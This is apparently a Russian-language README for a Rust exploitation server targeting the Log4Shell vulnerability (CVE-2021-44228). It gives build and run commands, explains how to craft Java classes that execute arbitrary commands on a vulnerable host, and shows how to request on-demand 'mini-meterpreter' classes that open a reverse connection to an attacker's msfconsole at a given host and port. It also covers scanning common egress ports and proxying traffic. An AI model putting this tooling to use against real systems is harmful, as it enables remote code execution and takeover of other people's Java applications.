
Реализация Log 4 Shell (log 4 j - CVE-2021-44228) на Rust
Реализация Log 4 Shell на Rust (log 4 j - CVE-2021-44228)
Для сборки выполните cargo +nightly build
Эта версия позволяет создавать классы команд, динамически обслуживать мини-meterpreter, работающий в потоке эксплуатируемого Java-приложения, и запускать LDAP и HTTP серверы. Эта версия обрабатывает как LDAP, так и HTTP запросы с одного и того же порта.
Вы можете одновременно запустить сервер на нескольких портах, чтобы попытаться выяснить, какие порты могут быть доступны для исходящих соединений на целевой машине.
Если запрос не является LDAP или HTTP, его можно проксировать на другую машину, опять же через тот же порт. Если у целевой машины только один порт для исходящих соединений, вы можете обслуживать LDAP, HTTP и использовать тот же порт для проксирования соединения meterpreter на другой локальный порт или другую машину.
Эта версия больше не требует установки javac. Она по-прежнему позволяет динамически "собирать классы", но делает это путем изменения предварительно скомпилированных классов, встроенных в исполняемый файл.
Эта версия добавляет топ-100 и топ-1000 портов, определённых в nmap. Используйте опции --pC100 или --pC1000.
Типичный вариант использования — создать класс(ы) команд, а затем запустить сервер.
l4srs build -c Cmd1 -l firefox -w Calc.exe
l4srs build -c TouchMe -l "touch /tmp/me"
Затем вы можете запросить Cmd1, и это запустит firefox в linux и Calc в Windows. Если вы запросите TouchMe, он выполнит touch /tmp/me в linux, а в windows не выполнит ничего.
Затем вы можете выполнить l4srs run --pC100, чтобы запустить сервер на
топ-100 портах, и он сможет обслуживать Cmd1 или TouchMe.
Кроме того, если вы запросите MM:Host:port, он динамически создаст класс мини-meterpreter, который подключится к хосту и порту из запроса. Если ваш msfconsole работает на 10.20.30.40 на порту 4444, вы должны запросить MM:10.20.30.40:4444 этот класс не создается командой build, он динамически создается при запросе.
Эта версия позволяет создавать и обслуживать классы из кэша в памяти. Все динамические классы MiniMeterpreter больше не обращаются к файловой системе. Кроме того, добавлены 2 новых флага: Первый — --no_fs, который гарантирует, что мы никогда не будем обслуживать файлы из файловой системы. Второй — --allow_cmd включит динамическую сборку классов при обращении к /build_cmd с любого открытого порта с POST-запросом и JSON-телом со следующими полями: class_name, l_cmd, w_cmd